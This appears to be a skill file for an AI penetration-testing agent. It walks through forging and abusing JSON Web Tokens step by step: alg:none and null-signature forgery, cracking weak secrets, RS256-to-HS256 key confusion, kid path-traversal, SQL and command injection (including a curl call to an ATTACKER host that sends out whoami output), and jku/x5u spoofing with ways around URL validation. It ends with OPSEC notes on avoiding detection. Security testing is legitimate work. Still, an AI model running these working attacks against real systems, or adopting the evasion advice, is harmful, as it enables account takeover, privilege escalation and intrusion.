JWT Attacks

JWT Attacks

You are helping a penetration tester exploit JWT (JSON Web Token) vulnerabilities. The target application uses JWTs for authentication or authorization, and weaknesses in signature verification, algorithm handling, or key management allow token forgery or privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [jwt-attacks] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A JWT token from the target application (Authorization header, cookie, or parameter)
• Tools: jwt_tool (pip install jwt-tool or clone https://github.com/ticarpi/jwt_tool), hashcat (mode 16500), Burp Suite with JWT Editor extension
• Optional: openssl for key extraction, jws2pubkey for RSA key recovery

Step 1: Assess

If not already provided, determine:

1. Locate JWTs — check these locations:

2. Decode the token — JWTs have three Base64URL-encoded parts: header.payload.signature

# Quick decode (jwt_tool)
python3 jwt_tool.py eyJ0eXAi...

# Manual decode
echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d 2>/dev/null
# {"alg":"HS256","typ":"JWT"}

3. Identify the algorithm — determines which attacks apply:

4. Check for public keys — needed for key confusion and key recovery:

# Common JWKS endpoints
curl -s https://TARGET/.well-known/jwks.json
curl -s https://TARGET/jwks.json
curl -s https://TARGET/openid/connect/jwks.json
curl -s https://TARGET/api/keys
curl -s https://TARGET/oauth2/v1/certs

# Extract from TLS certificate
openssl s_client -connect TARGET:443 2>&1 < /dev/null | \
  sed -n '/-----BEGIN/,/-----END/p' > cert.pem
openssl x509 -pubkey -in cert.pem -noout > pubkey.pem

5. Note interesting claims in the payload:

Skip if context was already provided.

Step 2: Algorithm None (CVE-2015-9235)

The simplest attack. If the server accepts alg: "none", forge any token without a signature.

# jwt_tool — automatic none attack
python3 jwt_tool.py eyJ0eXAi... -X a

Manual construction — set algorithm to none, empty signature:

# Header: {"alg":"none","typ":"JWT"}
# Payload: (modified claims)
# Signature: (empty — token ends with trailing dot)

echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

echo -n '{"sub":"admin","role":"admin","iat":1516239022}' | base64 -w0 | tr '+/' '-_' | tr -d '='
# Combine: header.payload.
# Note trailing dot (empty signature)

Algorithm case variants (bypass naive validation):

If accepted → Critical finding. Forge admin token with desired claims.

Step 3: Null Signature (CVE-2020-28042)

Keep the algorithm header but strip the signature. Some implementations check the algorithm but skip signature verification.

# jwt_tool — null signature attack
python3 jwt_tool.py eyJ0eXAi... -X n

Manual: Take a valid JWT, modify payload claims, replace signature with empty string (keep the trailing dot).

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Step 4: Brute Force Weak Secret (HS256)

If the token uses HMAC (HS256/384/512), the signing secret may be weak.

Save JWT for offline cracking

# Save the full JWT to a file for the credential-recovery skill
echo -n 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.signature' > engagement/evidence/jwt-hash.txt

Do NOT crack hashes in this skill. Save the JWT to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (JWT / hashcat mode 16500 for HS256, 16600 for HS384, 16700 for HS512), and a routing recommendation to credential-recovery.

jwt_tool dictionary (quick check)

python3 jwt_tool.py eyJ0eXAi... -C -d /usr/share/wordlists/rockyou.txt

Common weak secrets

Check against the jwt-secrets wordlist (3500+ entries):

secret
password
123456
your_jwt_secret
change_this_super_secret_random_string
key
test
admin
qwerty

If cracked → forge tokens with known secret:

# Forge with jwt_tool
python3 jwt_tool.py eyJ0eXAi... -T -S hs256 -p "cracked_secret"
# Interactive: modify claims, then sign

# Forge with Python
python3 -c "
import jwt
token = jwt.encode({'sub':'admin','role':'admin'}, 'cracked_secret', algorithm='HS256')
print(token)
"

Step 5: Key Confusion — RS256 to HS256 (CVE-2016-5431)

When the server uses RS256 (asymmetric), change the algorithm to HS256 (symmetric). The server may use the public key as the HMAC secret.

Requires: The RSA public key (from JWKS endpoint, TLS cert, or recovery).

jwt_tool

python3 jwt_tool.py eyJ0eXAi... -X k -pk pubkey.pem

Manual (openssl + Python)

# 1. Get public key hex
cat pubkey.pem | xxd -p | tr -d '\n'

# 2. Create header + payload
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: (modified claims)

# 3. Sign with public key as HMAC secret
echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9" | \
  openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat pubkey.pem | xxd -p | tr -d '\n')

# 4. Convert hex signature to Base64URL
python3 -c "
import base64, binascii
sig_hex = 'HEX_OUTPUT_HERE'
print(base64.urlsafe_b64encode(binascii.a2b_hex(sig_hex)).rstrip(b'=').decode())
"

Burp JWT Editor workflow

1. Obtain public key from /.well-known/jwks.json
2. JWT Editor Keys → New RSA Key → paste JWK
3. Copy the PEM (public key) from the key dialog
4. Base64-encode the PEM
5. JWT Editor Keys → New Symmetric Key → replace k value with Base64-encoded PEM
6. Edit JWT: change alg to HS256, modify payload claims
7. Sign with the symmetric key

RSA public key recovery

If no JWKS endpoint exists, recover the public key from two signed tokens:

# Requires two different JWTs signed with the same RSA key
docker run -it ttervoort/jws2pubkey "$(cat jwt1.txt)" "$(cat jwt2.txt)" | tee pubkey.jwk

Step 6: Header Injection Attacks

6a. kid (Key ID) Injection

The kid header selects which key verifies the token. If it's used in file paths or database queries, it's injectable.

Path traversal — sign with known file content:

# /dev/null = empty content → sign with empty string
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# /proc/sys/kernel/randomize_va_space = "2" → sign with "2"
python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"

SQL injection — force a known secret:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1' UNION SELECT 'ATTACKER_SECRET' -- -"
}

Then sign the token with ATTACKER_SECRET as the HMAC key.

python3 jwt_tool.py eyJ0eXAi... -I -hc kid -hv "' UNION SELECT 'ATTACKER' -- -" -S hs256 -p "ATTACKER"

Command injection (if kid is used in shell commands):

{
  "kid": "/path/to/key; curl http://ATTACKER/$(whoami)"
}

6b. jwk (JSON Web Key) Embedding (CVE-2018-0114)

Embed an attacker-controlled public key directly in the JWT header. The server uses it to verify the token you signed with your private key.

# jwt_tool — automatic JWK injection
python3 jwt_tool.py eyJ0eXAi... -X i

Burp JWT Editor: Edit JWT → Attack → Embedded JWK

Manual: Generate RSA keypair, sign token with private key, embed public key as jwk in header:

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "kid": "attacker-key",
    "use": "sig",
    "e": "AQAB",
    "n": "<attacker-public-key-modulus>"
  }
}

6c. jku (JWK Set URL) Spoofing

Point the jku header to an attacker-controlled JWKS endpoint. The server fetches your public key and uses it to verify the token.

# jwt_tool — automatic jku spoofing
python3 jwt_tool.py eyJ0eXAi... -X s -ju https://ATTACKER/jwks.json

Setup attacker JWKS:

# Generate keypair
openssl genrsa -out attacker.pem 2048
openssl rsa -in attacker.pem -pubout -out attacker_pub.pem

# Extract n and e for JWKS
python3 -c "
from Crypto.PublicKey import RSA
import base64
key = RSA.import_key(open('attacker_pub.pem').read())
n = base64.urlsafe_b64encode(key.n.to_bytes((key.n.bit_length()+7)//8, 'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(key.e.to_bytes((key.e.bit_length()+7)//8, 'big')).rstrip(b'=').decode()
print(f'{{\"keys\":[{{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"n\":\"{n}\",\"e\":\"{e}\"}}]}}')
" > jwks.json

# Host JWKS (serve on attacker machine)
python3 -m http.server 8080

Forged JWT header:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "attacker",
  "jku": "https://ATTACKER:8080/jwks.json"
}

jku URL restrictions bypass (if server validates domain):

• https://TARGET/.well-known/jwks.json@ATTACKER/jwks.json
• https://TARGET#@ATTACKER/jwks.json
• https://ATTACKER/jwks.json?TARGET
• Open redirect on target: https://TARGET/redirect?url=https://ATTACKER/jwks.json
• Fragment: https://TARGET/.well-known/jwks.json#ATTACKER

6d. x5u / x5c Certificate Injection

x5u — point to attacker-controlled X.509 certificate:

# Generate self-signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt

# Host cert, set x5u header to https://ATTACKER/attacker.crt
# Sign token with attacker.key

x5c — embed attacker certificate chain directly in the header:

# Base64-encode certificate (without PEM headers)
cat attacker.crt | grep -v '^-----' | tr -d '\n'
# Embed in x5c array in JWT header

Step 7: Claim Tampering

After finding a signing bypass (Steps 2-6), modify claims for privilege escalation.

Common escalation targets

// User → Admin
{"sub":"1234","role":"user"} → {"sub":"1234","role":"admin"}

// Add admin flag
{"sub":"user1"} → {"sub":"user1","admin":true}

// Impersonate another user
{"sub":"lowpriv-user"} → {"sub":"admin-user-id"}

// Change email / username
{"email":"attacker@evil.com"} → {"email":"admin@target.com"}

Expiration bypass

// Remove exp claim entirely
{"sub":"user","exp":1516239022} → {"sub":"user"}

// Extend to far future
{"sub":"user","exp":1516239022} → {"sub":"user","exp":9999999999}

Cross-service relay

If multiple services trust the same JWT issuer:

1. Obtain a valid JWT from Service B
2. Replay it against Service A
3. If Service A accepts → account takeover across services

Step 8: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

OPSEC Notes

• Token forgery is client-side — no server-side artifacts from crafting
• Brute-forcing is offline — no failed login attempts
• jku/x5u attacks cause server-side HTTP requests (logged, may trigger SSRF detection)
• Sending forged tokens to endpoints generates normal HTTP traffic but may trigger auth failure logging if the attack fails
• jwt_tool's -M at mode sends many requests — rate limit or use targeted attacks

Troubleshooting

alg:none Rejected

• Try case variants: None, NONE, nOnE
• Ensure signature is empty but trailing dot is present: header.payload.
• Some libraries reject none but accept null or empty string for alg

Key Confusion Fails

• Verify you have the correct public key (check JWKS kid matches token kid)
• Public key must include PEM headers (-----BEGIN PUBLIC KEY-----)
• Some libraries explicitly reject HS256 when configured for RS256 — this attack only works on libraries that accept any algorithm from the token
• Try both PKCS#1 and PKCS#8 PEM formats

JWT Secret Not Cracking

If jwt_tool dictionary check fails and you need GPU-accelerated cracking, route to credential-recovery with the JWT hash file and hashcat mode 16500 (HS256), 16600 (HS384), or 16700 (HS512).

jwt_tool Errors

• Install dependencies: pip install pycryptodomex requests termcolor
• For key confusion, use -pk with a PEM file (not JWK)
• For jku spoofing, the JWKS must be served over HTTPS if the target validates the scheme
• Use -V for verbose output to see what jwt_tool is sending